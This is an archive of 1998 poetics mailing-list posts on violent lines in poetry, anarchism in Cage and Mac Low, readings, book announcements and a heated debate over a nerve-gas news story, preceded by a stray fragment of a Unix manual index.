svcerr_auth, svcerr_decode, svcerr_noproc, svcerr_noprog, svcerr_progvers, svcerr_systemerr, svcerr_weakauth (3N) - library routines for server side remote procedure call errors telnet (1C) - user interface to a remote system using the TELNET protocol tip (1C) - connect to remote system unadv (8) - unadvertise a Remote File Sharing resource uusend (1C) - send a file to a remote host uux (1C) - remote system command execution uuxqt (8C) - execute remote command requests xdr_accepted_reply, xdr_authunix_parms, xdr_callhdr, xdr_callmsg, xdr_opaque_auth, xdr_rejected_reply, xdr_replymsg (3N) - XDR library routines for remote procedure calls

---

↑ Index

210. Laura E. Wright
Re: ass face
Mon 8 Jun 1998

<<Some people prefer the interior monologue. I like to beat people up.>> -- Ted Berrigan's translation of Henri Michaux

[redacted] wrote:

> *I was wondering if anyone had any comments on the following lines/poems.*
>
> *1. This is the only kind of language you understand, ass face.*
> *-- Ted Berrigan*
>
> *2. Hey fat Giuliani kid, listen to this poem about you.*
> *-- Jordan Davis*
>
> *3. When they beat you with a flashlight, you make light shine in all directions.*
> *-- Barratt Watten*
>
> *btw, that barratt line is in "quotes" in his wonderfully scary bad history.*
> *but i think i'm desitized to those marks. so i omit in my quote.*
>
> *Bill Luoma*

--
Laura Wright
Library Assistant, Naropa Institute
[redacted]

"All music is music..." -- Ted Berrigan

↑ Index

211. morpheal
Re: I found the mass !
Mon 8 Jun 1998

Gancie Quoted:

"TELLER SAID, "MISS ULAM, HOLD MY CALLS;
GOD IS COMING TO HEFT MY BALLS."---cp

Ginsberg said something similar in one of the poems he wrote, a few years before he became a wholly disembodied poetic bodhisattva.

I wonder why Edward Teller and Ginsberg had that commonality of experience.

Perhaps someone is lying about Teller ?

M.

↑ Index

212. **Miekal And**
Re: Yogapoetics
Mon 8 Jun 1998

barbara -

1) i'm a poet who frequently yogues.

2) i envision a back which is broadening as well as lengthening
as a back which is making a huge "X"
from shoulder to opposite hip
AND
as a back which "rectangulizes"
from shoulders to hips

that's about the extent of my putting the two together - so far.
so, -
thanks for the inspiration

what's the connection do for you?

- lyx ish

_____
Dreamtime Village
http://www.net22.com/dreamtime/index.shtml

QAZINGULAZA: And/Was/Wakest website:
http://net22.com/qazingulaza/index.html

email for DT & And/Was: [redacted]

↑ Index

213. **Stephen Cope**
Re: Anarchy
Tue 9 Jun 1998

Manuel,

John Cage and Jackson MacLow would two people with whose work to begin vis-a-vis 'chance-operations,' which both used as a kind of compositional anarchy (linked to their professed political beliefs in same).

Stephen

↑ Index

214. **Miekal And**
[Fwd: FLUXLIST: Dieter Roth]
Tue 9 Jun 1998

This is a multi-part message in MIME format.

book artist, concrete poet extraordinare

by westbyserver.westby.mwt.net (8.8.7/8.8.6) with ESMTP id JAA27926
for <[redacted]>; Tue, 9 Jun 1998 09:04:03 -0500 (CDT)
with BSMTP id 5324; Tue, 09 Jun 98 15:44:32 MEZ
Date: Tue, 09 Jun 98 15:42:32 MEZ
From: [redacted]
Subject: FLUXLIST: Dieter Roth
To: [redacted]

has died.

There is a nice nouveau realistes piece of him in the
current art show in the Cologne Kunsthalle am Neumarkt !
Worth a visite.....

Heiko

----------26063FA441FB--

↑ Index

215. **morpheal**
Re: the 'seems'
Tue 9 Jun 1998

> *"But what you hear*
> *are the seams I speak, animal,*
> *the white of our noise*
> *meringues into peaks*
> *neither of us mount--or if we do,*
> *as taxidermists, filling what is over*
> *because we love to see as if alive."---*
> *from Hades in Mangenese by Clayton Eshleman*

"Your entire world
has been destroyed,
and as you open your eyes,
in the early twilight,
of a sudden awakening,
everything is almost the same,

except the twilight:
the twilight never ends."

"Strangers whispering,
nothing supernatural -
rain sounds outside."

"A thin pressed ghost
of my beautiful flower -
this is memories."

"Reinventing the wheel,
takes a lifetime,
hard knocks and rough roads,
everyone wants to be first -
and no one said."

---------- B.E.

M.

aka Bob Ezergailis

↑ Index

216. **morpheal**
Re: Anarchy
Tue 9 Jun 1998

> *Manuel,*
> *John Cage and Jackson MacLow would two people with whose work to begin vis-a-vis 'chance-operations,' which both used as a kind of compositional anarchy (linked to their professed political beliefs in same).*
> *Stephen*

Though minimalism is usually the exact opposite of anarchy.

Minimalism being the exploration of fundamental principles of order rather than an ever increasing free reign of chaos.

Minimalism can be seen as a return to the exploration of the most fundamental roots of composition and sonic expression. It is a primal expression of basic paradigms and principles, reasserted in clearest relief against anarchic noise.

Cage was exploring the very bars that the cage was made from. Proving that names are very important antecedents.

"Everything is what it isn't." - John Winston [Churchill-Smith] Lennon

M.

↑ Index

217. Douglas
new titles from Sun & Moon/Green Integer
Tue 9 Jun 1998

Sun & Moon Press and Green Integer are pleased
to announce the publication of several new titles:

MR. KNIFE, MISS FORK: AN ANTHOLOGY OF INTERNATIONAL
POETRY, no. 1

This, the first issue of a bi-annual anthology of
international poetry, contains new work and new
translated work (in the
original language and English) by major poets
throughout the world, including Alexei Kruchenykh,
Ameilia Rosselli, José Antonio Mazzoti, Eduard Chironos,
Ishihard Yoshiro, Benjamin Péret, Marcelin Pleynet,
Pablo Picasso, Miroslav Holub, Stefan Augustin Doinas,
Gilbert Sorrentino, Andrea Zanzotto, Friederike
Mayrocker, Elisabeth Borchers, Durs Grunbein, Ronald
Johnson, and Pentii Saarikoski. There is also commentary
by Jacques Roubaud (his hilarious story of visiting
a grade school class to talk about his poem), Vicente
Huidobro (one of his remarkable manifestos), Takahashi
Mutsuo on the end of literature (and the end of life
as we know it), and Will Alexander on "The Caribbean:
Language as Translucent Immincence." More than 20 short
reviews and notes on new books of poetry throughout the
world. A single issue costs $10.95/2-issue subscription
for $20.00

WE ALSO ASK THAT EVERYONE GETS THEIR UNIVERSITY OR COLLEGE LIBRARY TO SUBSCRIBE. Subscriptions should be send directly to Sun & Moon (6026 Wilshire Boulevard, Los Angeles, CA 90036) Please help us keep this important journal going!!!! Next issue will be in October 1998

AFTER, by Douglas Messerli

Yes, it's my first new book of poetry in years! (If you
discount the STRUCTURE OF DESTRUCTION series as poetry).
After began in the late 1970s, when I was trying to under-
stand why Baudelaire was interesting in English. I certainly
couldn't tell it from the then-available translations. So
I began my own poems "after" Baudelaire....and then after
Rimbaud, Mallarme, Sor Juana, Verlaine and many others.
I then began alternating these poems with my "own" poetry
influenced by some of the formal devices and occasionally
thematic concerns of the "after" poems. The result is a book
in which Milton sounds like a "language" poet (whatevr that
my mean), in which the write through "The Acquaintance" by Robert
Frost, I retranslate a poem by Rae Armantrout from the French
back into English, and write a poem "After Lorca after Spicer."
The result I think is serious poetry and good fun.
$10.95 (available on the list with a 20% discount).

THE EFFORT TO FALL, by Christopher Spranger.

Annihilation--how many sleepless nights I have spent repeating this word to myself in ectasy!

The prrof of wisdom is not knowledge by weariness, and he
that is absolutely weary is absolutely wise.

Misery being coextensive with life, a happy moment may be defined as any moment occurring either before we are born or after we die.

I want the ideal performance--the one which exists only in the composer's mind; not the real performance which requires conductor and orchestra.

A book of pity and brilliant observations, aphorism at its best. And he's only in his late 20s; the book was written when Spranger was in his early 20s!!!!!

$8.95 (Green Integer); availalbe on the list with a 20% discount.

Write or E-mail Sun & Moon ([redacted])
6026 Wilshire Boulevard
Los Angeles, CA 90036

↑ Index

218. Jordan Davis
anarchy having more to do with mutual aid than randomness
Tue 9 Jun 1998

I always took Bernadette Mayer's work to have more to do with anarchy in the Bakunin/Kropotkin sense that the state the governance of things in some

ordinary tight-ass way is irrelevant and if things if people were left to take care of themselves without the state then people would make an effort to make sure everything was seen to, viz. Utopia and Mutual Aid and cf. the total complete works of Clark Coolidge.

Of course the random side of anarchy is nice too, and the punk circle A has its glints of inspiration.

But Manuel Brito wanted to know about anarchism poetry and the 60s and Bernadette's so-called anarchist works come later.

Jordan

↑ Index

219. Douglas
moving toward my five: announcement of NAP and NAF awards
Tue 9 Jun 1998

Moving toward my limit of five....I'd like to announce
the 1998 winners of the New American Poetry competition
and New American Fiction competition.

In poetry, Nick Piombino chose:

TEMPORARY WORKERS RIDE A SUBWAY, by Mark Wallace

In fiction, Douglas Messerli chose:

FLESH & BONE, by Cydney Chadwick

There were many excellent manuscripts in both categories, and the decisions were difficult. We appreciate those who sent us your work.

For this year's competition (announced in March/April 1999) send a full length manuscript (with a $25.00 fee, which goes toward the publication the winning manuscript(s)) to Sun & Moon Press, 6026 Wilshire Boulevard, Los Angeles, CA 90036 by December 31st.

Douglas Messerli

↑ Index

220. MAYHEW
set poetics nomail
Tue 9 Jun 1998

I'll be incomunicado for a while, leaving you to your own devices till July 15.

The ass-face line reminded me of one of my own:

"What you most despise in others, cultivate in yourself."

Jonathan Mayhew

↑ Index

221. **J. Kuszai**
Re: Anarchy
Tue 9 Jun 1998

I have to take issue with some of what's sprung up here surrounding both JML and Cage. Beware of associating "chance" with "compositional anarchy" -- as I'm sure that JML at least would be troubled by that connection. And as has been pointed out all too often, the term "chance" doesn't really describe the procedures used by JML (or, for that matter Cage). As Mordecai-Mark Mac Low (an astrophysicist at the Max Plank (sp?) institute in Heidelberg) pointed out to his father some years ago, these "chance" procedures are really more "deterministic" than anything else. Jackson called them "algorithmic" in a recent letter. And while there might be a connection between such a proceduralism and an anarchist politics, I think that most anarchists would freak out at the idea of having their politics reduced to a philosophical anarchism of the aesthetic variety. But we could talk about that. JML has at turns denied such a connection between his politics and at others said that the performance pieces were "analogies" for intentional communities. Personally, it seems to me that making that connection stresses the "individualist" anarchism of Tucker, etc., and the american anarchists of the 19th century, which lead in no uncertain terms to the anti-statism of the anti-govt paranoids on the right, while the majority of "anarchists" with whom we'd know about come from the anarcho-communist heritage of Bakunin, Emma Goldman, etc. (and that's the lineage of most poets who were involved in that movement). So, it seems to me that the question has to come from another angle.

Also, I don't get how either Cage or JML are "minimalist" In fact, both Cage and Mac Low seem much more maximalist, where the signifying capacity of words is overburdened, rather than emptied out. There are plenty of examples. Maybe some of the work like "Barnesbook" would be minimalist, but then that comes from a particular use of that program "Diastext" which also seems a long way from "anarchy" and even Barnesbook isn't minimalist in the way that say, I dunno, errr, Cid Corman or someone might be considered minimalist. Any thoughts?

Also- I got the sense also that Manuel meant something different. Please explain what you mean.

morpheal wrote:
>
> >Manuel,

> >John Cage and Jackson MacLow would two people with whose work to begin
> >vis-a-vis 'chance-operations,' which both used as a kind of compositional
> >anarchy (linked to their professed political beliefs in same).
> >Stephen
>
> Though minimalism is usually the exact opposite of anarchy.
>
> Minimalism being the exploration of fundamental principles of order
> rather than an ever increasing free reign of chaos.
>
> Minimalism can be seen as a return to the exploration of the most fundamental
> roots of composition and sonic expression. It is a primal expression of basic
> paradigms and principles, reasserted in clearest relief against anarchic noise.
>
> Cage was exploring the very bars that the cage was made from.
> Proving that names are very important antecedents.
>
> ----------
>
> "Everything is what it isn't." - John Winston [Churchill-Smith] Lennon
>
> M.

↑ Index

222. **Mark Prejsnar**

Re: ass face

Tue 9 Jun 1998

...differences in tone and intent and general impact, in "violent" lines--is a very disturbing and engaging topic. Especially because it reflects so well the character of our culture.

I still feel that Andrews' I Don't Have Any Paper... is the key reference point here. The first two quotes Bill gives, have first a localized reference; only secondarily do they get involved with the abrasions that are general (but they do do so..) Also, they betray more than a little anxiety about the poet's place in our rough and tumble demikulchah..

The Watten is more like the Andrews: it's implicated in ongoing violence in a deliberately hurtful and "unforgiveable" way.

m.

On Mon, 8 Jun 1998 [redacted] wrote:

> *I was wondering if anyone had any comments on the following lines/poems.*
>
> *1. This is the only kind of language you understand, ass face.*
> *-- Ted Berrigan*
>
> *2. Hey fat Giuliani kid, listen to this poem about you.*
> *-- Jordan Davis*
>
> *3. When they beat you with a flashlight, you make light shine in all directions.*
> *-- Barratt Watten*
>
> *btw, that barratt line is in "quotes" in his wonderfully scary bad history.*
> *but i think i'm desitized to those marks. so i omit in my quote.*
>
> *Bill Luoma*

↑ Index

223. Poetics List Administration
attachments
Tue 9 Jun 1998

As a general "rule" (i.e. a consensual courtesy) please do not send attachments to the list. Many people cannot receive them and they end up here, at the poetics home office in Red Deer.

Thanks!

--Jimmy Johnson, coach
Miami Dolphins

p.s. I heard a rumor that Amiri Baraka has a role in the new Warren Beatty flick, Bulworth. Is this true?

↑ Index

224. Christopher Reiner
L.A. Books Reading
Tue 9 Jun 1998

On Sunday L.A. Books held the last reading of its initial series. Paul Vangelisti and Dennis Phillips read from their recent work, and a great time was had by all. Paul read from a variety of work, including a series of poems ordered by the days of the week (all eight of them) and a novel-in-verse (_Gold Mountain_) about a bordello in 19th century Los Angeles. Dennis read from a book-length

work, _Sand_. Spotted in the audience were, in no particular order, Standard Schaefer, Guy Bennett, Martha Ronk, Diane Ward, Franklin Bruno, Evan Calbi, Mark Salerno, and Martin Nakell.

We've had three previous readings for this series (held at Cafe Balcony in west L.A.): Douglas Messerli and Joe Ross, Leslie Scalapino and Diane Ward, Guy Bennett and Martha Ronk.

A new series begins in September, and we're still working on the schedule.

In the next couple days, I'm hoping to have photos and a couple sound files from the reading online at the LITPRESS.COM site.

As many of you know, the announcement of new books at the litpress site has lagged behind my original intention of updating once a week. It's more like once a month. Bit off more than I could chew on that one, but I will keep doing the announcements, and a new list of them will be up later this week. Thanks for your patience.

↑ Index

225. MAXINE CHERNOFF
New American Writing Event
Tue 9 Jun 1998

Reading at Small Press Traffic,
New College,
7:30 p.m.
Friday, June 12:

Barbara Guest
Aaron Shurin
Cydney Chadwick
Rodrigo Toscano
Brandon Downing

to celebrate publication of NAW 16.

↑ Index

226. R.Gancie/C.Parcelli
[Fwd: MEDIA FRENZY?]
Tue 9 Jun 1998

---

by ixmail8.ix.netcom.com (8.8.7-s-4/8.8.7/(NETCOM v1.01)) with ESMTP id MAA22039;
for <[redacted]>; Mon, 8 Jun 1998 12:10:55 -0700 (PDT)
From: [redacted]

by imo25.mx.aol.com (IMOv14_b1.1) id OXTHa07259
for <[redacted]>; Mon, 8 Jun 1998 15:10:20 -0400 (EDT)
Date: Mon, 8 Jun 1998 15:10:20 EDT
To: [redacted]
Subject: MEDIA FRENZY?

I've been listening to the media reaction to the nerve gas story. the defense department says there's no documented history of any use of nerve gas, or targeting defectors with extreme prejudice. some of those who were involved are apparently having a difficult time dealing with their participation in these "elite" death squads, and they are trying to come clean; I can understand this. it's a surprise, but it shouldn't be, to sensitive folks when they discover that, as they grow older, their ability to repress the full context of their participation in behavior that is in fact abhorrent to them is significantly impaired. (I'm not talking about the most vicious among us who haven't developed a conscience.) the media, for the moment, has been caught unawares; they haven't gotten their instructions yet, but the general trend seems to heading toward `well, it was a dirty thing to do, but it was a dirty war,' as if our prior atrocities somehow justified this one. this is pretzel torture a la scalia; a parade of middle-aged men who thought that anything that was used to help them in the perpetuation of that illegal war was also justifiable. yet given the literally sacred vow that this country would never be the first to use "these terrible weapons" , and the approbation heaped on the head of saddam, why is the moral dimension appearing as an afterthought? this is a good measuring stick for the immediate future, and whether or not you should keep your passport current and a cash stash. if there is no significant outcry (really, in any other western country the people would be in the streets) then this will be interpreted (correctly) by our master class that such behavior, having been justified in the past, is thus justified in the present. the absurdity of such a logical premise is matched in my memory only by those of the Nazi's, who, having absolute control, had absolute contempt for the intelligence of their minions. if we have reached this level, and I think we have, then the decades-old attempt by the elite to desensitize a populace sensitized by the war has succeeded, and anything is possible; chomsky can crawl home to die -- the propaganda war has been lost, and only subversion is believable.

joe

↑ Index

227. louis stroffolino

Tue 9 Jun 1998

Oh yeah I should use this forum to announce I'm doing
a poetry reeading with Sam Truitt and Jason Vincz (sp?)
tomorrow night at the TranHudson Gallery
416 West 13th St. (meat packing district manhattan)
7PM.....
chris stroffolino

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228. morpheal

Re: [Fwd: MEDIA FRENZY?] No doubt not that simple.

Tue 9 Jun 1998

> *I've been listening to the media reaction to the nerve gas story. the defense department says there's no documented history of any use of nerve gas, or targeting defectors with extreme prejudice. .....*
> *the elite to desensitize a populace sensitized by the war has succeeded, and anything is possible; chomsky can crawl home to die -- the propaganda war has been lost, and only subversion is believable. joe*

Though it is the furthest from poetry yet, the Russians had chemical warfare materials in the 1960s. The Chinese might have had some too. It is not a very complicated technology.

It is the defectors who were the losers in the propaganda war, regardless of any further analysis as to historical outcome. They were not really defectors, but instead "prisoners of war", of a peculiar kind. Their minds twisted beyond any semblance of sanity by a constant barrage of radio frequencied Hanoi propaganda. The psychological warfare side of Nam has yet to be written, and much of what was endured is still presumably too classified to become historical data.

The usual strategy is to attempt, often at high cost in assets, to liberate prisoners of war. If that fails, then the second strategy is to attempt to minimize damage, in terms of preventing increased human suffering being brought upon a larger number. In effect, actions meant to minimize, or at least decrease immediate and long term damages to one's own assets. Consideration is usually given, if possible, to the sufferings being endured by the prisoners. Presumably the defectors in question were not being tortured into defecting, but I do not know if we have that side of that story right either. Some prisoners defected as the result of brainwashing and torture. Some were technical specialists that the Soviets badly wanted to break, in order to gain larger advantage than that which could be attained solely within the limited geographic space of Vietnam.

So it is very very complicated. The news media typically oversimply, while other sources attempt to obfuscate the brutal and horrific truths as to the nature of human military conflict in any overt confrontation.

M.

↑ Index

229. **Mark Prejsnar**
Re: Anarchy
Tue 9 Jun 1998

To J. Kuszai:

You make some good points; in fact I don't think Cage and Mac Low work/ed with any kind of simplistic parallel between anarchism and the procedures they use/d.

The original query was about poets influenced by anarchism...And from the point of view of their subjective political beliefs, these are indeed the first two that ought to be mentioned.

What in fact the relation is between those beliefs and their work, including form and procedure, is (as you suggest) complex and mediated. But (to my limited knowledge) anarchism as a tradition has had some influence on 'em, as individuals...

↑ Index

230. **dbkk**
Killian, Gluck, and more in SF
Tue 9 Jun 1998

This is Dodie. If you're looking for something different, check out the reading for Best American Gay Fiction 2, this Thursday, June 11, 7:30 p.m. at Modern Times Bookstore, just down the street from New College, at 888 Valencia Street.

Featured readers are Stephen Beachy, Brian Bouldrey, Justin Chin, Robert Gluck, and Kevin Killian--a stunning line-up. If you're looking for somebody new to be wowed by, especially check out Stephen Beachy. He takes prose to some amazing places.

↑ Index

231. **J. Kuszai**
Re: Anarchy
Tue 9 Jun 1998

Mark: indeed.

A Meow Press book currently in production, not\"scheduled" although it may appear this summer is

"War Poems and Sonnets" by Jackson Mac Low, tho it may not be called that when he gets thru with it.

It includes Jackson's anti-war poems dating back to his Sandburg influenced high school poems, early sonnets written in September 1939 and selected "peacenik" and anti war poems up through "Marines Defend Burning of Village" which Jerry R. published in a magazine in the late 60s. Jackson was involved with the "Why?" and later "Resistance" group during the war, something which has lead me to a consideration of underground publications by C.O.s. Mac Low and Paul Goodman were among those who picketed the Federal Penn. at Danbury CT, where anarchist heroes such as David Wieck were hunger striking to protest the segregation of the prison mess hall. They were successful. I think JML was also the first person ever arrested for protesting nuclear testing, during a civil defense emergency test. Also arrested included Bayard Rustin, Judith Malina, among others (tho JML was protesting the tests and not the civil defense emergency alert).

for more on Mac Low and this question, check out Louis Cabri's very well documented and thorough introduction to this period in the CRAYON issue edited by Andrew Levy and Bob Harrison..

I didn't mean to suggest that they weren't committed anarchists, but that such a relation to their work was problematic. I think there's more of a connection to Morton Feldman, and contemporary music of the mid-50s than an explicitly "anarchist" take on poetry/composition. blah blah blah.

but I am interested in the 1960s as a condition for the ferment of anarchist activity (action and thought, if we want/should to separate them here). As a child born under the sign of Hendrix & Coolidge, I'd be interested to hear more on this periodd that Manuel initially proposed.

Duncan's take on the Vietnam War would be another place to look, the debate between him and the late Denise Levertov etc. which is a book New Directions has currently somewhere in production... (or so I hearz)/ I mean their correspondence, which Marjorie Perloff has written about recently.....but ah, I'm wasting time. Somebody else take the mic

On Tue, 9 Jun 1998, Mark Prejsnar wrote:

> *To J. Kuszai:*
>
> *You make some good points; in fact I don't think Cage and Mac Low work/ed with any kind of simplistic parallel between anarchism and the procedures they use/d.*
>
> *The original query was about poets influenced by anarchism...And from the point of view of their subjective political beliefs, these are indeed the first two that ought to be mentioned.*
>
> *What in fact the relation is between those beliefs and their work, including form and procedure, is (as you suggest) complex and mediated. But (to my limited knowledge) anarchism as a tradition has had some influence on 'em, as individuals...*

↑ Index

232. **William Marsh**

Re: attachments / baraka

Tue 9 Jun 1998

> *p.s. I heard a rumor that Amiri Baraka has a role in the new Warren Beatty flick, Bulworth. Is this true?*

true as Truman / returns repeatedly as unkempt, wigged out street zany to accost the errant politician with, among other lines, "you can't be no ghost, you got to be a spirit!" -- or something to that effect / sorry if the quote's off a bit

bill

- -
William Marsh | PaperBrainPress
http://bmarsh.dtai.com
- -

↑ Index

233. **Dean Taciuch**

Re: Anarchy

Tue 9 Jun 1998

Perhaps the connection between Mac Low, Cage, and anarchism lies in the lack of central authority in the aleatory method. This is the case at least I think with some of Cage's works; Mac Low seems more procedural than anarchic, but even so, the openness to allowing the formal constraints to freely shape the material leaves little room for authorial intention (this may not work for Mac Low's "intentional" pieces (Forties, for example, written quickly but intentionally)

Dean

↑ Index

234. R. Gancie
sounds like the Grand Ol' A Priori to me
Tue 9 Jun 1998

"No doubt, once the geometrical concept has revealed its freedom with respect to empirical sensibility, the synthesis of the "construction" is irreducible. And indeed it is an ideal history. But it is a history of an operation and not a founding. It unfolds explicative gestures in a space of a possibility already open to the geometer."---from Jacques Derrida's introduction to Edmund Husserl's Origin of Geometry---cp

↑ Index

235. Don Wellman
Re: anarchy having more to do with mutual aid than randomness
Tue 9 Jun 1998

Baraka, "Black Dada Nihilismus" ought to be placed in dialog with whatver texts you choose, Manuel.

Don Wellman

↑ Index

236. Don Byrd
Re: Anarchy
Tue 9 Jun 1998

> *The original query was about poets influenced by anarchism...And from the point of view of their subjective political beliefs, these are indeed the first two that ought to be mentioned.*

After the disillusionment with the CP, anarchism was about the only radical political alternative. Several of the poets and writers had some connection with the anarchistic magazine _Why_ in New York before and during WW II. I think Duncan and Mac Low first met at an anarchist meeting in New York, possibly at the Spanish Anarchists' Hall on lower Broadway, where there were regular Saturday-night meetings. After Duncan returned to California, Duncan and Lamantia (after a Sacco and Vanzetti memorial organized by the WWW) started an anarchist group which met first at Rexroth's house and was fairly active for

some time. William Everson, Thomas Parkinson, Sanders Russell, and Jack Spicer were involved.

I have recently become aware of an interesting Norwegian anarchistic novelist, playwright, and poet, Jens Bjorneboe (w/ a slash through the first o). I recommend the excellent web site on his work--http:\\home.att.net/~emurer, which is maintained by his English translator, Esther Murer.

Don

↑ Index

237. Mark Weiss

Re: [Fwd: MEDIA FRENZY?] No doubt not that simple.

Tue 9 Jun 1998

Your argument would justify almost any wholesale slaughter, as in "Gosh, those Romans are suffering" (Atilla the Hun), or, "Gee, it must be hard being a Jew" (Adolph Hitler), or, "Saigon's a lousy place to live" (Richard Nixon).

At 01:31 PM 6/9/98 -0400, you wrote:
>>I've been listening to the media reaction to the nerve gas story. the defense
>>department says there's no documented history of any use of nerve gas, or
>>targeting defectors with extreme prejudice. .....
>>the elite to desensitize a populace sensitized by the war has succeeded, and
>>anything is possible; chomsky can crawl home to die -- the propaganda war has
>>been lost, and only subversion is believable. joe
>
>Though it is the furthest from poetry yet, the Russians had chemical warfare
>materials in the 1960s. The Chinese might have had some too. It is not a
>very complicated technology.
>
>It is the defectors who were the losers in the propaganda war, regardless of
>any further analysis as to historical outcome. They were not really
>defectors, but instead "prisoners of war", of a peculiar kind. Their minds
>twisted beyond any semblance of sanity by a constant barrage of radio
>frequencied Hanoi propaganda.
>The psychological warfare side of Nam has yet to be written, and much of
>what was endured is still presumably too classified to become historical data.
>
>The usual strategy is to attempt, often at high cost in assets, to liberate
>prisoners of war. If that fails, then the second strategy is to attempt to

>minimize damage, in terms of preventing increased human suffering being
>brought upon a larger number. In effect, actions meant to minimize, or at
>least decrease immediate and long term damages to one's own assets.
>Consideration is usually given, if possible, to the sufferings being endured
>by the prisoners. Presumably the defectors in question were not being
>tortured into defecting, but I do not know if we have that side of that
>story right either. Some prisoners defected as the result of brainwashing
>and torture. Some were technical specialists that the Soviets badly wanted
>to break, in order to gain larger advantage than that which could be
>attained solely within the limited geographic space of Vietnam. So it is
>very very complicated. The news media typically oversimply, while other
>sources attempt to obfuscate the brutal and horrific truths as to the nature
>of human military conflict in any overt confrontation.
>
>M.
>
>

↑ Index

238. **Roger Farr**
Re: Anarchy
Tue 9 Jun 1998

Perhaps making a distinction between anarchist "aesthetics" (a
more recent development, born out of the collapse of
the anarchist movement in the 30's) and the anarchist movement
itself, with which very few poets and artists have been
involved, would be useful . . .

Anarchist aesthetics first appear in the modernist avant-garde
as images of terrorist violence and "chaos" -- quite at odds
with the anarcho-pacifism of JML, Cage, Duncan, Levertov,
Rexroth, Snyder, Ginsberg, et al. After the horrors of
WW II, Hiroshima and Nagasaki, such images no longer
resonate the they once did.

It would seem that "post-modern" writers who have been influenced by anarchist theory are wary of literary attempts to "master" reality through statement (propaganda) and (technique) bomb, favoring instead a direct attack on the reproduction of centralized state authority in language, and cognition. I would suggest that the Situationists have been especially influential in this respect (see "All the King's Men" in the new Rothenberg/Joris anth.).

I wonder: exactly how does anarchism figure in contemporary poetics? Watten has spoken of an "anarchy of production" in recent poetries, and someone has also mentioned Mayer and Coolidge.

Is this "anarchist tendency" at odds with the originally
Marxist elements of LangPo?

Roger

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239. **Billy Little**
Re: [Fwd: MEDIA FRENZY?] No doubt not that simple.
Tue 9 Jun 1998

Bob (we had to kill them to save them) e. you sir are a disgusting fool (talk about brainwashed) and if you weren't such a laughable ignoramus i might have to splash mud on your closet full of brown shirts. After reading you inane prattle this morning, i took my cables down to the detox. Yecccchhh!

↑ Index

240. **ken|n|ing**
Re: ass face
Tue 9 Jun 1998

When they beat your ass fa(e)ce(s) in all directions, under stand the language kid?

```
                    |
                    |
k e n n i n g``````````````|```````````````````````````
a newsletter of contemporary |poetry,  poetics,  and  non-fiction writing
                    |418 Brown St. #10  Iowa City, IA 52245  USA
```

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241. **morpheal**
Re: [Fwd: MEDIA FRENZY?] No doubt not that simple.
Tue 9 Jun 1998

> *Your argument would justify almost any wholesale slaughter, as in "Gosh, those Romans are suffering" (Atilla the Hun), or, "Gee, it must be hard being a Jew" (Adolph Hitler), or, "Saigon's a lousy place to live" (Richard Nixon).*

No, nothing of that kind was implied.

Contrary to some opinions there is hardly anyone, if anyone, who has any significant power of command, who does not agonize about the fact of losing even one man. It is a sense of responsibility that is hard to convey or to explain. On the other hand if it comes down to it, sacrificing a few for the sake of many more than were sacrificed, is also a responsibility. Not a responsibility that can be enjoyed, but one that is necessitated.

If 20 men were in a position to cost the lives of hundreds or even thousands of other troops, as an officer your responsibility would be to prevent that from happening. Sometimes that means by any means necessary.

It simply is that way. The details often never make it to the media. They only get a broad, distorted, overview.

M.

↑ Index

242. **morpheal**

Re: [Fwd: MEDIA FRENZY?] No doubt not that simple.

Tue 9 Jun 1998

> *Bob (we had to kill them to save them) e.*
> *you sir are a disgusting fool (talk about brainwashed) and if you weren't such a laughable ignoramus i might have to splash mud on your closet full of brown shirts. After reading you inane prattle this morning, i took my cables down to the detox. Yecccchhh!*

You should keep your computer circuits away from that methyl hydrate. It is not good to drink that stuff.....

Actually, I replied to this a moment ago. It really is not that hard to understand. Simply that the lives of many are valued more than the lives of the few, where both are in the same balance. That logic is simple enough.

I would agree that mistakes happen, and particularly in the complicated psychological and technical jungle of modern warfare. I do not know if a particular incident was a mistake in terms of there being a more viable option or whether it was the only viable option to save the most human lives within the context of the military action in progress.

I can only speak to the principles, not the specifics of that incident.

I was not into discussing whether the war as a whole was legitimized or not. That is a very different debate. That is the supposed hindsight is 20/20 discourse about whether there were other options and what the outcomes might have been. (Fact is there is no such hindsight. We are where we is because we were where we was. That's all there is to it.)

M.

↑ Index

243. Christina Fairbank Chirot
Re: Anarchy
Tue 9 Jun 1998

Anarchism continues to have a strong input in poetic, visual and theoretical practices all over the world--

the areas of visual poetry and mail art especially

there are hundreds of journals, web sites, events going on which are anarchist

yes there are many forms of anarchism

that is the point

"l'imagination au pouvoir"

-dave baptiste chirot

some other great anarchist writers: Thoreau, Blake, Whitman, Emma Goldman . ..

↑ Index

244. Marcella Durand
sublet abound
Tue 9 Jun 1998

Sublet available:

For month of July
$572 Own bdrm in 2 bdrm apt.

English painter in other bdrm

living room, eat-in kitchen
cats & plants (feel free to eat lettuce & tomatoes)

4th St. between Aves C&D in East Village

If interested, call me at Poetry Project, [redacted]

Thanks!
Marcella

↑ Index

245. **Christian Roess**
Re: [Re: Anarchy]&Elizam Escobar
Tue 9 Jun 1998

[redacted] wrote:
> Anarchism continues to have a strong input in poetic, visual and
> theoretical practices all over the world--
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> that is the point
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> -dave baptiste chirot
> some other great anarchist writers: Thoreau, Blake, Whitman, Emma
> Goldman . ..

Thus is order insured: some have to play the game because they cannot otherwise live, and those who could live otherwise are kept out because they do not want to play the game." - Adorno

"My practicality consists in this, in the knowledge that if you beat your head against the wall it is your head which breaks and not the wall... that is my strength, my only strength." - Gramsci

****

Another point of departure for the subject of anarchy (and the supplemental role our government played in its use of chemical weapon's in Vietnam) would be the case of Elizam Escobar, painter, poet, and contributing/associate editor of the magazine Left Curve. Perhaps Manuel Brito would like to contact him.(I know his question is directed toward the 1960's poetry scene, but perhaps he could write to him and ask him if he feels like he beat his head against the wall but now is forced to let poetry do it for him? I mean who breaks down wall really,poetry(not the poet) or the anarchist? Who is full of (aka Yeats) 'passionate' intensity? The best lack all conviction? .)I can't comment on the two poems I've read of his, but his essays and paintings(seen some on the website and in a magazine) warrant our attention. He can be reached at the Maximum Security prison in El Reno, Oklahoma, where he is serving out a 68 year prison term. Anyone know about this guy?
========

I have only know about Elizam Escobar #88969-024 for about one month, but I am having trouble understanding what the U.S. government's role in his arrest and incarceration is? This case seems as insidious as the use of chemical weapons on our own citizens.

==========
Quoting from a web page devoted to him:

His paintings have been exhibited in New York, Chicago, Philadelphia and in more than 10 Puerto Rican cities. The paintings he created in jail are currently being exhibited throughout the United States.

